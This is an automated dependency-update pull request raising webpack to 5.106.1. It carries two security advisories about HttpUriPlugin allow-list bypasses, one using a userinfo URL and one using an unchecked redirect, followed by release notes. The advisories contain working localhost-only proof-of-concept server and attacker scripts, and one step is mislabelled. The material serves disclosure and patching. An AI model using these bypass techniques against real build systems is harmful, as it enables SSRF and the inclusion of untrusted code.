chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
webpack	^5.101.3 → ^5.106.1

GitHub Vulnerability Alerts

CVE-2025-68458

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on:

• webpack version: 5.104.0
• Node version: v18.19.1

Details

Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL:

• http://127.0.0.1:9000@​127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then:

• Raw string check:
  crafted.startsWith("http://127.0.0.1:9000") → true
• URL parsing (WHAT new URL() will contact):
  origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction:

• Server logs showed the internal-only endpoint being fetched:
  • [internal] 200 /secret.js served (...) (observed multiple times)
• Attacker-side build output showed:
  • the internal secret marker was present in the bundle
  • the internal secret marker was present in the buildHttp cache

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-userinfo-poc && cd split-userinfo-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");

const ALLOWED_PORT = 9000;   // allowlisted-looking host
const INTERNAL_PORT = 9100;  // actual target if bypass succeeds

const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `// internal-only\n` +
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function listen(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // "Allowed" host (should NOT be contacted if bypass works as intended)
  await listen(ALLOWED_PORT, (req, res) => {
    console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`);
    res.statusCode = 200;
    res.setHeader("Content-Type", "application/javascript; charset=utf-8");
    res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`);
  });

  // Internal-only service (SSRF-like target)
  await listen(INTERNAL_PORT, (req, res) => {
    if (req.url === "/secret.js") {
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      return;
    }
    console.log(`[internal] 404 ${req.method} ${req.url}`);
    res.statusCode = 404;
    res.end("not found");
  });

  console.log("\nServers up:");
  console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`);
  console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`);
})();

2) Create server.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) {
  const out = [];
  let items;
  try { items = await fs.readdir(dir, { withFileTypes: true }); }
  catch { return out; }
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    const s1 = buf.toString("utf8");
    if (s1.includes(needle)) return true;
    const s2 = buf.toString("latin1");
    return s2.includes(needle);
  } catch {
    return false;
  }
}

(async () => {
  const webpackVersion = require("webpack/package.json").version;

  const ALLOWED_PORT = 9000;
  const INTERNAL_PORT = 9100;

  // NOTE: allowlist is intentionally specified without a trailing slash
  // to demonstrate the risk of raw string prefix checks.
  const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`;

  // Crafted URL using userinfo so that:
  // - The string begins with allowedUri
  // - The actual authority (host:port) after '@​' is INTERNAL_PORT
  const crafted = `http://127.0.0.1:${ALLOWED_PORT}@​127.0.0.1:${INTERNAL_PORT}/secret.js`;
  const parsed = new URL(crafted);

  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(crafted)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedUri],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  console.log("\n[ENV]");
  console.log(`- webpack version: ${webpackVersion}`);
  console.log(`- node version:    ${process.version}`);
  console.log(`- allowedUris:     ${JSON.stringify([allowedUri])}`);

  console.log("\n[CRAFTED URL]");
  console.log(`- import specifier: ${crafted}`);
  console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);
  console.log(`- WHAT URL() parses:`);
  console.log(`  - username: ${JSON.stringify(parsed.username)} (userinfo)`);
  console.log(`  - password: ${JSON.stringify(parsed.password)} (userinfo)`);
  console.log(`  - hostname: ${parsed.hostname}`);
  console.log(`  - port:     ${parsed.port}`);
  console.log(`  - origin:   ${parsed.origin}`);
  console.log(`  - NOTE: request goes to origin above (host/port after @​), not to "${allowedUri}"`);

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;
      const info = stats.toJson({ all: false, errors: true, warnings: true });

      if (stats.hasErrors()) {
        console.error("\n[WEBPACK ERRORS]");
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const foundSecret = m ? m[0] : null;

      console.log("\n[RESULT]");
      console.log(`- temp dir:  ${tmp}`);
      console.log(`- bundle:    ${bundlePath}`);
      console.log(`- lockfile:  ${lockfile}`);
      console.log(`- cacheDir:  ${cacheDir}`);

      console.log("\n[SECURITY CHECK]");
      console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);

      if (foundSecret) {
        const lockHit = await fileContains(lockfile, foundSecret);

        const cacheFiles = await walk(cacheDir);
        let cacheHit = false;
        for (const f of cacheFiles) {
          if (await fileContains(f, foundSecret)) { cacheHit = true; break; }
        }

        console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);
        console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      }
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

CVE-2025-68157

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();

3) Create attacker.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

---

Release Notes

webpack/webpack (webpack)

v5.106.1

Compare Source

Patch Changes

• Fix two ES5-environment regressions in the anonymous default export .name fix-up: the generated code referenced an undeclared __WEBPACK_DEFAULT_EXPORT__ binding causing ReferenceError, and used Reflect.defineProperty which is not available in pre-ES2015 runtimes. The fix-up now references the real assignment target and uses Object.defineProperty / Object.getOwnPropertyDescriptor. (by @​xiaoxiaojx in #​20796)

• Prevent !important from being renamed as a local identifier in CSS modules. (by @​xiaoxiaojx in #​20798)

• Use compiler context instead of module context for CSS modules local ident hashing to avoid hash collisions when files with the same name exist in different directories. (by @​xiaoxiaojx in #​20799)

v5.106.0

Compare Source

Minor Changes

• Add exportType: "style" for CSS modules to inject styles into DOM via HTMLStyleElement, similar to style-loader functionality. (by @​xiaoxiaojx in #​20579)

• Add context option support for VirtualUrlPlugin (by @​xiaoxiaojx in #​20449)

  • The context for the virtual module. A string path. Defaults to 'auto', which will try to resolve the context from the module id.
  • Support custom context path for resolving relative imports in virtual modules
  • Add examples demonstrating context usage and filename customization

• Generate different CssModule instances for different exportType values. (by @​xiaoxiaojx in #​20590)

• Added the localIdentHashFunction option to configure the hash function to be used for hashing. (by @​alexander-akait in #​20694)
  Additionally, the localIdentName option can now be a function.

• Added support for destructuring assignment require in cjs, allowing for tree shaking. (by @​ahabhgk in #​20548)

• Added the validate option to enable/disable validation in webpack/plugins/loaders, also implemented API to make it inside plugins. (by @​xiaoxiaojx in #​20275)

• Added source support for async WASM modules. (by @​magic-akari in #​20364)

Patch Changes

• Add a static getSourceBasicTypes method to the Module class to prevent errors across multiple versions. (by @​xiaoxiaojx in #​20614)

• Included fragment groups in the conflicting order warning for CSS. (by @​aryanraj45 in #​20660)

• Avoid rendering unused top-level __webpack_exports__ declaration when output ECMA module library. (by @​hai-x in #​20669)

• Fixed resolving in CSS modules. (by @​alexander-akait in #​20771)

• Allow external modules place in async chunks when output ECMA module. (by @​hai-x in #​20662)

• Implement deprecate flag in schema for better TypeScript support to show which options are already deprecated by the configuration (by @​bjohansebas in #​20432)

• Set .name to "default" for anonymous default export functions and classes per ES spec (by @​xiaoxiaojx in #​20773)

• Hash entry chunks after runtime chunks to prevent stale content hash references in watch mode (by @​xiaoxiaojx in #​20724)

• Fix multiple bugs and optimizations in CSS modules: correct third code point position in walkCssTokens number detection, fix multiline CSS comment regex, fix swapped :import/:export error message, fix comma callback incorrectly popping balanced stack, fix cache comparison missing array length check, fix match.index mutation side effect, move publicPathAutoRegex to module scope, precompute merged callbacks in consumeUntil, simplify redundant ternary in CssGenerator, fix typo GRID_TEMPLATE_ARES, remove duplicate grid-column-start, and merge duplicate getCompilationHooks calls. (by @​xiaoxiaojx in #​20648)

• Correct url() path resolution and preserve source maps for non-link CSS export types (style, text, css-style-sheet) (by @​xiaoxiaojx in #​20717)

• Emit error when proxy server returns non-200 status code in HttpUriPlugin instead of silently failing. (by @​xiaoxiaojx in #​20646)

• import.meta as standalone expression now returns a complete object with known properties (url, webpack, main, env) instead of an empty object ({}), and hoists it as a module-level variable to ensure import.meta === import.meta identity. In preserve-unknown mode (ESM output), the hoisted object merges runtime import.meta properties via Object.assign. (by @​xiaoxiaojx in #​20658)

• Fix incorrect condition in FileSystemInfo that always evaluated to false, preventing trailing slash removal from directory paths during build dependency resolution. (by @​xiaoxiaojx in #​20649)

• fix: VirtualUrlPlugin absolute path virtual module IDs getting concatenated with compiler context (by @​xiaoxiaojx in #​20656)

  When a virtual module ID is an absolute path (e.g. virtual:C:/project/user.js), the auto-derived context was incorrectly joined with compiler.context, producing a concatenated path like C:\cwd\C:\project. Now absolute-path contexts are used directly.

• All deprecated methods and options now have @deprecated flag in types. (by @​alexander-akait in #​20707)

• Fix CompatibilityPlugin to correctly rename __webpack_require__ when it appears as an arrow function parameter (e.g. (__webpack_module, __webpack_exports, __webpack_require__) => { ... }). (by @​hai-x in #​20661)

v5.105.4

Compare Source

Patch Changes

• Add Module.getSourceBasicTypes to distinguish basic source types and clarify how modules with non-basic source types like remote still produce JavaScript output. (by @​xiaoxiaojx in #​20546)

• Handle createRequire in expressions. (by @​alexander-akait in #​20549)

• Fixed types for multi stats. (by @​alexander-akait in #​20556)

• Remove empty needless js output for normal css module. (by @​JSerFeng in #​20162)

• Update enhanced-resolve to support new features for tsconfig.json. (by @​alexander-akait in #​20555)

• Narrows export presence guard detection to explicit existence checks on namespace imports only, i.e. patterns like "x" in ns. (by @​hai-x in #​20561)

v5.105.3

Compare Source

Patch Changes

• Context modules now handle rejections correctly. (by @​alexander-akait in #​20455)

• Only mark asset modules as side-effect-free when experimental.futureDefaults is set to true, so asset-copying use cases (e.g. import "./x.png") won’t break unless the option is enabled. (by @​hai-x in #​20535)

• Add the missing webpack_exports declaration in certain cases when bundling a JS entry together with non-JS entries (e.g., CSS entry or asset module entry). (by @​hai-x in #​20463)

• Fixed HMR failure for CSS modules with @​import when exportType !== "link". When exportType is not "link", CSS modules now behave like JavaScript modules and don't require special HMR handling, allowing @​import CSS to work correctly during hot module replacement. (by @​xiaoxiaojx in #​20514)

• Fixed an issue where empty JavaScript files were generated for CSS-only entry points. The code now correctly checks if entry modules have JavaScript source types before determining whether to generate a JS file. (by @​xiaoxiaojx in #​20454)

• Do not crash when a referenced chunk is not a runtime chunk. (by @​alexander-akait in #​20461)

• Fix some types. (by @​alexander-akait in #​20412)

• Ensure that missing module error are thrown after the interception handler (if present), allowing module interception to customize the module factory. (by @​hai-x in #​20510)

• Added createRequire support for ECMA modules. (by @​stefanbinoj in #​20497)

• Added category for CJS reexport dependency to fix issues with ECMA modules. (by @​hai-x in #​20444)

• Implement immutable bytes for bytes import attribute to match tc39 spec. (by @​alexander-akait in #​20481)

• Fixed deterministic search for graph roots regardless of edge order. (by @​veeceey in #​20452)

v5.105.2

Compare Source

Patch Changes

• Fixed WebpackPluginInstance type regression. (by @​alexander-akait in #​20440)

v5.105.1

Compare Source

Patch Changes

• Fix VirtualUrlPlugin Windows compatibility by sanitizing cache keys and filenames. Cache keys now use toSafePath to replace colons (:) with double underscores (__) and sanitize other invalid characters, ensuring compatibility with Windows filesystem restrictions. (by @​xiaoxiaojx in #​20424)

• Revert part of the createRequire generation behavior for require("node:...") to keep compatibility with those modules exports, e.g. const EventEmitter = require("node:events");. (by @​hai-x in #​20433)

• Skip guard collection when exports-presence mode is disabled to improve parsing performance. (by @​hai-x in #​20433)

v5.105.0

Compare Source

Minor Changes

• Allow resolving worker module by export condition name when using new Worker() (by @​hai-x in #​20353)

• Detect conditional imports to avoid compile-time linking errors for non-existent exports. (by @​hai-x in #​20320)

• Added the tsconfig option for the resolver options (replacement for tsconfig-paths-webpack-plugin). Can be false (disabled), true (use the default tsconfig.json file to search for it), a string path to tsconfig.json, or an object with configFile and references options. (by @​alexander-akait in #​20400)

• Support import.defer() for context modules. (by @​ahabhgk in #​20399)

• Added support for array values ​​to the devtool option. (by @​hai-x in #​20191)

• Improve rendering node built-in modules for ECMA module output. (by @​hai-x in #​20255)

• Unknown import.meta properties are now determined at runtime instead of being statically analyzed at compile time. (by @​xiaoxiaojx in #​20312)

Patch Changes

• Fixed ESM default export handling for .mjs files in Module Federation (by @​y-okt in #​20189)

• Optimized import.meta.env handling in destructuring assignments by using cached stringified environment definitions. (by @​xiaoxiaojx in #​20313)

• Respect the stats.errorStack option in stats output. (by @​samarthsinh2660 in #​20258)

• Fixed a bug where declaring a module variable in module scope would conflict with the default moduleArgument. (by @​xiaoxiaojx in #​20265)

• Fix VirtualUrlPlugin to set resourceData.context for proper module resolution. Previously, when context was not set, it would fallback to the virtual scheme path (e.g., virtual:routes), which is not a valid filesystem path, causing subsequent resolve operations to fail. (by @​xiaoxiaojx in #​20390)

• Fixed Worker self-import handling to support various URL patterns (e.g., import.meta.url, new URL(import.meta.url), new URL(import.meta.url, import.meta.url), new URL("./index.js", import.meta.url)). Workers that resolve to the same module are now properly deduplicated, regardless of the URL syntax used. (by @​xiaoxiaojx in #​20381)

• Reuse the same async entrypoint for the same Worker URL within a module to avoid circular dependency warnings when multiple Workers reference the same resource. (by @​xiaoxiaojx in #​20345)

• Fixed a bug where a self-referencing dependency would have an unused export name when imported inside a web worker. (by @​samarthsinh2660 in #​20251)

• Fix missing export generation when concatenated modules in different chunks share the same runtime in module library bundles. (by @​hai-x in #​20346)

• Fixed import.meta.env.xxx behavior: when accessing a non-existent property, it now returns empty object instead of full object at runtime. (by @​xiaoxiaojx in #​20289)

• Improved parsing error reporting by adding a link to the loader documentation. (by @​gaurav10gg in #​20244)

• Fix typescript types. (by @​alexander-akait in #​20305)

• Add declaration for unused harmony import specifier. (by @​hai-x in #​20286)

• Fix compressibility of modules while retaining portability. (by @​dmichon-msft in #​20287)

• Optimize source map generation: only include ignoreList property when it has content, avoiding empty arrays in source maps. (by @​xiaoxiaojx in #​20319)

• Preserve star exports for dependencies in ECMA module output. (by @​hai-x in #​20293)

• Consider asset modulem to be side-effect free. (by @​hai-x in #​20352)

• Avoid generating JavaScript modules for CSS exports that are not used, reducing unnecessary output and bundle size. (by @​xiaoxiaojx in #​20337)

v5.104.1

Compare Source

Patch Changes

• 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
• c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.

v5.104.0

Compare Source

Minor Changes

• d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
• d3dd841: Enhance import.meta.env to support object access.
• 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
• 04cd530: Handle more at-rules for CSS modules.
• cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
• d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
• 5983843: Provide a stable runtime function variable __webpack_global__.
• d3dd841: Improved localIdentName hashing for CSS.

Patch Changes

• 22c48fb: Added module existence check for informative error message in development mode.
• 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
• d3dd841: Support universal lazy compilation.
• d3dd841: Fixed module library export definitions when multiple runtimes.
• d3dd841: Fixed CSS nesting and CSS custom properties parsing.
• d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
• aab1da9: Fixed bugs for css/global type.
• d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
• d3dd841: Handle nested __webpack_require__.
• 728ddb7: The speed of identifier parsing has been improved.
• 0f8b31b: Improve types.
• d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
• 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
• d3dd841: Serialize HookWebpackError.
• d3dd841: Added ability to use built-in properties in dotenv and define plugin.
• 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
• d3dd841: Reduce collision for local indent name in CSS.
• d3dd841: Remove CSS link tags when CSS imports are removed.

v5.103.0

Compare Source

Features

• Added DotenvPlugin and top level dotenv option to enable this plugin
• Added WebpackManifestPlugin
• Added support the ignoreList option in devtool plugins
• Allow to use custom javascript parse function
• Added import.meta.env support for environment variables
• Added support for import.meta.dirname and import.meta.filename
• Added support import.defer() for statistical path
• Handle import.meta.main
• Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
• Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
• [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
• [CSS] Added support for composes properties

Fixes

• The dependOn chunk must be loaded before the common chunk
• Return to namespace import when the external request includes a specific export
• No runtime extra runtime code for module libraries
• Delay HMR accept dependencies to preserve import attributes
• Properly handle external presets for universal target
• Fixed incorrect identifier of import binding for module externals
• Fixed when defer import and dynamic default export mixed
• Reduce generated output when globalThis supported
• Fixed loading async modules in defer import
• Reexport module for default import when no used exports for systemjs library
• Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
• Handle __dirname and __filename for ES modules
• Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
• [Types] webpack function type
• [Types] NormalModule type
• [Types] Multi compiler configuration type
• [Types] Fixed regression in custom hashDigest type
• [CSS] No extra runtime for initial chunk
• [CSS] Fixed a lot of CSS modules bugs

v5.102.1

Compare Source

Fixes

• Supported extends with env for browserslist
• Supported JSONP fragment format for web workers.
• Fixed dynamic import support in workers using browserslist.
• Fixed default defer import mangling.
• Fixed default import of commonjs externals for SystemJS format.
• Fixed context modules to the same file with different import attributes.
• Fixed typescript types.
• Improved import.meta warning messages to be more clear when used directly.
• [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.

v5.102.0

Compare Source

Features

• Added static analyze for dynamic imports
• Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
• Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
• Added the snapshot.contextModule to configure snapshots options for context modules
• Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
• The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
• The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
• Added function matcher support in rule options

Fixes

• Fixed conflicts caused by multiple concatenate modules
• Ignore import failure during HMR update with ES modules output
